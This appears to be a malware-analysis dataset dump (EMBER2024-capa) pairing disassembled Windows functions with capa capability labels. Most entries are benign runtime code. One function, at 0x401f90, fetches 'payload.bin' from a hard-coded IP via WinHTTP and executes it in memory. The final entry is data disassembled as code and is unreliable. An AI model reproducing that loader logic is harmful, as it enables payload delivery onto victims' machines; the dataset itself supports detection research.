joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140096cf0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140097dd0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140097dd0
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x140096d60
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x140201774]
mov rbx, rcx
test esi, esi
jle 0x140096e90
mov rax, qword [0x140201778]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140096dab
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140096e35
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140096d90
mov rcx, rbx
call fcn.1400977d0
mov rdi, rax
test rax, rax
je 0x140096eb2
mov rax, qword [0x140201778]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.140097910
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140201778]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140096e97
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x140096e2e
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x140096e40
add dword [0x140201774], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x140201778]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140096e2e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140096cf0
nop dword [rax]
xor esi, esi
jmp 0x140096db8
mov rax, qword [0x140201778]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140096cf0
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.140096cf0
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140097440
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x1402017e0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1402017c0]
test rbx, rbx
je 0x14009749c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x140097493
test eax, eax
jne 0x140097493
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140097478
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x1400977d0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140170c90]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400977f0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400977f8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400977f0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14009784d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140097844
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400977f0
add rax, 0x28
cmp rax, r9
jne 0x140097830
xor eax, eax
ret

Function at 0x140097850
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140170c90]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14009786f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140097878
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14009786f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140097910
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140170c90]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14009792f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140097938
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x140001a80
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je case.default.0x140001aa1
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x140001ace
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x140001ad0
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x140001b29
test ecx, ecx
jle 0x140001b09
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x140001b29
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x140001b29
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret
Function at 0x140001b50
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x140001b72
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je case.default.0x140001b81
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x140001ba4
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140001ba6
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140001be2
mov qword [rsp + 0x20], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x20]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x140001c7e
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x140001c1d
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x140001c5e
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x140001c7e
cmp rbx, rax
ja 0x140001c30
test rbx, rbx
je 0x140001c7e
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
sub rbp, rbx
mov rbx, qword [rsp + 0x28]
mov rax, rbp
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
Function at 0x1400020e0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x140007040]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x14000210d
xor eax, eax
jmp 0x140002279
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x140002147
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x140002147
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x140002279
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x14000226c
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x14000218a
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x1400021b5
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140002271
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140002224
sub eax, 1
je 0x140002224
cmp eax, 2
jne 0x14000226c
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140002271
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x140002252
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x14000226c
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x140002271
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140002ec0
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x1400025a0
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x140007040]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x140002673
cmp byte [rcx + 0x71], 0
je 0x140002673
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x14000266f
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140002634
sub eax, 1
je 0x140002638
cmp eax, 2
jne 0x14000266f
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140002ec0
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x140002666
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x14000266f
cmp byte [rbx + 0x71], 0
sete al
jmp 0x14000261c
xor al, al
jmp 0x14000261c
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140002ec0
add rsp, 0x60
pop rbx
ret

Function at 0x140003840
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000388a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000388a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000388a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000388a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000388a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000388c
xor al, al
add rsp, 0x28
ret
Function at 0x401f90
Capabilities:
Contain obfuscated stackstrings

Disassembly:
jmp 0x401f90
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rdi
sub rsp, 0xc0
mov rdi, rsp
movabs rcx, 0x30
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0xd0]
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0x20], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x48], 0
lea rax, [rsp + 0x50]
mov rdi, rax
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
call qword [sym.imp.KERNEL32.dll_FreeConsole]
mov word [rsp + 0x78], 0x57
mov word [rsp + 0x7a], 0x69
mov word [rsp + 0x7c], 0x6e
mov word [rsp + 0x7e], 0x68
mov word [rsp + 0x80], 0x74
mov word [rsp + 0x82], 0x74
mov word [rsp + 0x84], 0x70
mov word [rsp + 0x86], 0x2e
mov word [rsp + 0x88], 0x64
mov word [rsp + 0x8a], 0x6c
mov word [rsp + 0x8c], 0x6c
mov word [rsp + 0x8e], 0
lea rcx, [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [0x0042b5a0], rax
xor r8d, r8d
xor edx, edx
mov ecx, 0x40000
call qword [sym.imp.KERNEL32.dll_HeapCreate]
mov qword [rsp + 0x98], rax
call fcn.0040100a
mov qword [rsp + 0x20], rax
mov r8d, 0x118
lea rdx, str.206.238.197.181
mov rcx, qword [rsp + 0x20]
call fcn.00401023
mov qword [rsp + 0x28], rax
lea rdx, str.payload.bin
mov rcx, qword [rsp + 0x28]
call fcn.00401028
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
call fcn.00401032
mov dword [rsp + 0x38], eax
mov rcx, qword [rsp + 0x30]
call fcn.00401005
mov dword [rsp + 0x38], eax
lea rcx, [rsp + 0x48]
call fcn.00401014
mov r8, qword [rsp + 0x30]
lea rdx, [rsp + 0x48]
mov rcx, qword [rsp + 0x98]
call fcn.00401019
mov qword [rsp + 0xa0], rax
mov rcx, qword [rsp + 0x30]
call qword [rsp + 0x58]
mov rcx, qword [rsp + 0x28]
call qword [rsp + 0x58]
mov rcx, qword [rsp + 0x20]
call qword [rsp + 0x58]
call qword [rsp + 0xa0]
xor eax, eax
mov rdi, rax
mov rcx, rsp
lea rdx, [0x004231a0]
call fcn.00402770
mov rax, rdi
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.00402750
add rsp, 0xc0
pop rdi
ret
Function at 0x401dcc
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push rdi
sub rsp, 0x1e0
mov rax, qword [0x00409048]
mov qword [rsp + 0x1d0], rax
mov rdx, rcx
lea rcx, [rsp + 0xa0]
call sub.msvcrt.dll_strcpy
lea rcx, [rsp + 0xa0]
mov edx, 0x5c
call qword [sym.imp.msvcrt.dll_strrchr]
lea rdx, str._Xusage.txt
mov rcx, rax
call sub.msvcrt.dll_strcpy
lea rdx, [0x00407220]
lea rcx, [rsp + 0xa0]
call qword [sym.imp.msvcrt.dll_fopen]
test rax, rax
mov rdi, rax
jne 0x401e58
mov rcx, qword [sym.imp.msvcrt.dll__iob]
lea r8, [rsp + 0xa0]
lea rdx, str.Cant_open__s_n
add rcx, 0x60
call qword [sym.imp.msvcrt.dll_fprintf]
lea eax, [rdi + 1]
jmp 0x401ea3
mov r9, rax
jmp 0x401e7e
mov r9, qword [sym.imp.msvcrt.dll__iob]
lea rcx, [rsp + 0x20]
mov r8, rax
add r9, 0x30
mov edx, 1
call qword [sym.imp.msvcrt.dll_fwrite]
mov r9, rdi
mov r8d, 0x80
lea rcx, [rsp + 0x20]
lea edx, [r8 - 0x7f]
call qword [sym.imp.msvcrt.dll_fread]
test rax, rax
jne 0x401e5d
mov rcx, rdi
call qword [sym.imp.msvcrt.dll_fclose]
xor eax, eax
mov rcx, qword [rsp + 0x1d0]
call fcn.004052a0
add rsp, 0x1e0
pop rdi
ret
Function at 0x4046ac
Capabilities:
Create thread

Disassembly:
push rbx
push rbp
push rsi
push rdi
mov rax, rsp
sub rsp, 0x48
mov dword [rax + 0x40], 0
lea rax, [rax - 0x18]
mov rdi, r8
mov r9, r8
mov rsi, rcx
mov r8, rcx
mov qword [rsp + 0x28], rax
xor ecx, ecx
mov rbp, rdx
mov dword [rsp + 0x20], 0x10000
call qword [sym.imp.msvcrt.dll__beginthreadex]
test rax, rax
mov rbx, rax
jne 0x404715
lea rax, [rsp + 0x30]
mov r9, rdi
mov r8, rsi
mov qword [rsp + 0x28], rax
mov edx, ebp
xor ecx, ecx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.msvcrt.dll__beginthreadex]
test rax, rax
mov rbx, rax
je 0x404746
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rdx, [rsp + 0x88]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetExitCodeThread]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x88]
jmp 0x40474b
mov rcx, rdi
call rsi
add rsp, 0x48
pop rdi
pop rsi
pop rbp
pop rbx
ret

Function at 0x404bb8
Capabilities:
Terminate process

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x50
mov rdi, rdx
mov rsi, rcx
mov edx, r9d
mov rcx, r8
mov rbx, r8
call fcn.00404754
test al, al
jne 0x404c03
mov rcx, qword [sym.imp.msvcrt.dll__iob]
lea r8, str.Error:_could_not_find_Java_SE_Runtime_Environment.
lea rdx, [0x00407d1c]
add rcx, 0x60
call qword [sym.imp.msvcrt.dll_fprintf]
mov ecx, 2
call qword [sym.imp.msvcrt.dll_exit]
int3
mov rcx, rbx
call fcn.004049a8
lea rdx, str.amd64
xor r8d, r8d
mov rcx, rbx
call fcn.00402eb0
cmp eax, 1
jge 0x404c4d
mov rcx, qword [sym.imp.msvcrt.dll__iob]
lea r8, str.Error:_no_known_VMs.__check_for_corrupt_jvm.cfg_file_
lea rdx, [0x00407d1c]
add rcx, 0x60
call qword [sym.imp.msvcrt.dll_fprintf]
mov ecx, 1
call qword [sym.imp.msvcrt.dll_exit]
int3
xor r8d, r8d
mov rdx, rdi
mov rcx, rsi
call fcn.00402614
mov rdi, qword [rsp + 0x90]
mov edx, 0x2f
mov rcx, rax
mov byte [rdi], 0
mov rsi, rax
call qword [sym.imp.msvcrt.dll_strchr]
test rax, rax
jne 0x404ca5
lea edx, [rax + 0x5c]
mov rcx, rsi
call qword [sym.imp.msvcrt.dll_strchr]
test rax, rax
jne 0x404ca5
lea rdx, str._s_bin_sjvm.dll
mov r9, rsi
mov r8, rbx
mov rcx, rdi
call qword [sym.imp.msvcrt.dll_sprintf]
jmp 0x404cb8
lea rdx, str._sjvm.dll
mov r8, rsi
mov rcx, rdi
call qword [sym.imp.msvcrt.dll_sprintf]
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.msvcrt.dll__stat]
test eax, eax
je 0x404d35
mov rcx, rsi
call sub.msvcrt.dll_strlen
lea rcx, str.Error:_no___s_JVM_at___s.
mov rbx, rax
call sub.msvcrt.dll_strlen
mov rcx, rdi
add rbx, rax
call sub.msvcrt.dll_strlen
lea rcx, [rbx + rax]
call sub.jli.dll_JLI_MemAlloc
lea rdx, str.Error:_no___s_JVM_at___s.
mov r9, rdi
mov rcx, rax
mov r8, rsi
mov rbx, rax
call qword [sym.imp.msvcrt.dll_sprintf]
mov rcx, qword [sym.imp.msvcrt.dll__iob]
lea rdx, [0x00407d1c]
add rcx, 0x60
mov r8, rbx
call qword [sym.imp.msvcrt.dll_fprintf]
mov ecx, 4
call qword [sym.imp.msvcrt.dll_exit]
int3
add rsp, 0x50
pop rdi
pop rsi
pop rbx
ret
Function at 0x404f00
Capabilities:
Terminate process

Disassembly:
mov rax, rsp
sub rsp, 0x68
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov rdi, rcx
lea rsi, [0x004091a0]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rbx, qword [0x00409298]
lea rdx, [rsp + 0x70]
mov rcx, rbx
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_RtlLookupFunctionEntry]
test rax, rax
je 0x404f81
mov rdx, qword [rsp + 0x70]
mov qword [rsp + 0x38], 0
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x30], rcx
lea rcx, [rsp + 0x48]
mov r9, rax
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov r8, rbx
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_RtlVirtualUnwind]
mov r11, qword [0x00409298]
jmp 0x404f9d
mov r11, qword [rsp + 0x68]
lea rax, [rsp + 0x68]
add rax, 8
mov qword [0x00409298], r11
mov qword [0x00409238], rax
mov rax, qword [0x00409048]
mov qword [0x00409110], r11
mov qword [0x00409220], rdi
mov dword [0x00409100], 0xc0000409
mov dword [0x00409104], 1
mov qword [rsp + 0x50], rax
mov rax, qword [0x00409040]
xor ecx, ecx
mov qword [rsp + 0x50], rax
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x00408180]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rdi, qword [rsp + 0x88]
mov rsi, qword [rsp + 0x80]
mov rbx, qword [rsp + 0x78]
add rsp, 0x68
ret
cmp rcx, qword [0x00409048]
jne 0x4052b9
rol rcx, 0x10
test cx, 0xffff
jne 0x4052b5
ret
ror rcx, 0x10
jmp 0x404f00
Function at 0x405090
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x58
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x78], rdi
cmp word [0x00400000], 0x5a4d
je 0x4050b1
xor ebx, ebx
mov dword [rsp + 0x60], ebx
jmp 0x40512d
movsxd rax, dword [0x0040003c]
lea rcx, [0x00400000]
add rax, rcx
cmp dword [rax], 0x4550
je 0x4050d2
xor ebx, ebx
mov dword [rsp + 0x60], ebx
jmp 0x40512d
movzx ecx, word [rax + 0x18]
cmp ecx, 0x10b
je 0x405110
cmp ecx, 0x20b
je 0x4050ee
xor ebx, ebx
mov dword [rsp + 0x60], ebx
jmp 0x40512d
cmp dword [rax + 0x84], 0xe
ja 0x4050ff
xor ebx, ebx
mov dword [rsp + 0x60], ebx
jmp 0x40512d
xor ebx, ebx
cmp dword [rax + 0xf8], ebx
setne bl
mov dword [rsp + 0x60], ebx
jmp 0x40512d
cmp dword [rax + 0x74], 0xe
ja 0x40511e
xor ebx, ebx
mov dword [rsp + 0x60], ebx
jmp 0x40512d
xor ebx, ebx
cmp dword [rax + 0xe8], ebx
setne bl
mov dword [rsp + 0x60], ebx
mov ecx, 1
call qword [sym.imp.msvcrt.dll___set_app_type]
mov qword [0x00409680], 0xffffffffffffffff
mov qword [0x00409688], 0xffffffffffffffff
mov rcx, qword [sym.imp.msvcrt.dll__fmode]
mov eax, dword [0x0040967c]
mov dword [rcx], eax
mov rcx, qword [sym.imp.msvcrt.dll__commode]
mov eax, dword [0x00409678]
mov dword [rcx], eax
call fcn.00404e30
cmp dword [0x00409050], 0
jne 0x405187
lea rcx, [0x00405280]
call qword [sym.imp.msvcrt.dll___setusermatherr]
lea rdx, [0x004062d0]
lea rcx, [0x004062c8]
call sub.msvcrt.dll__initterm
mov r11d, dword [0x00409674]
mov dword [rsp + 0x68], r11d
lea rax, [rsp + 0x68]
mov qword [rsp + 0x20], rax
mov r9d, dword [0x00409670]
lea r8, [rsp + 0x38]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x30]
call qword [sym.imp.msvcrt.dll___getmainargs]
lea rdx, [0x004062c0]
lea rcx, [0x004062b0]
call sub.msvcrt.dll__initterm
mov r11, qword [rsp + 0x38]
mov rax, qword [sym.imp.msvcrt.dll___initenv]
mov qword [rax], r11
mov r8, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x40]
mov ecx, dword [rsp + 0x30]
call fcn.00498000
mov edi, eax
mov dword [rsp + 0x34], eax
test ebx, ebx
jne 0x405213
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
call qword [sym.imp.msvcrt.dll__cexit]
jmp 0x405234
mov eax, edi
mov rbx, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x58
ret
Function at 0x140121b3e
Capabilities:
Encode data using xor

Disassembly:
mov esi, 0xbea9bea8
stosb byte [rdi], al
adc ebp, ebp
test eax, 0xed13aabe
xor dword [rcx], edi
push rbx
jp 0x140121b41
cmp al, 0x6b
xor dword [rcx + rax], edx
test al, 0x21
sbb byte [rsi], dl
test dword [rdi], esi
jge 0x140121bba
mov esp, 0xd7d832c4
cmp dword [rdx], edi
add edi, dword [rdx + 0x15d22562]
pop rdx
xchg esp, eax
sub edx, dword [rbx]
sbb byte [rdx - 2], 0x1f
lahf
adc dword [rax - 0x8ac05af], esp
test byte [rdi - 0x3bef3adf], cl
invalid
invalid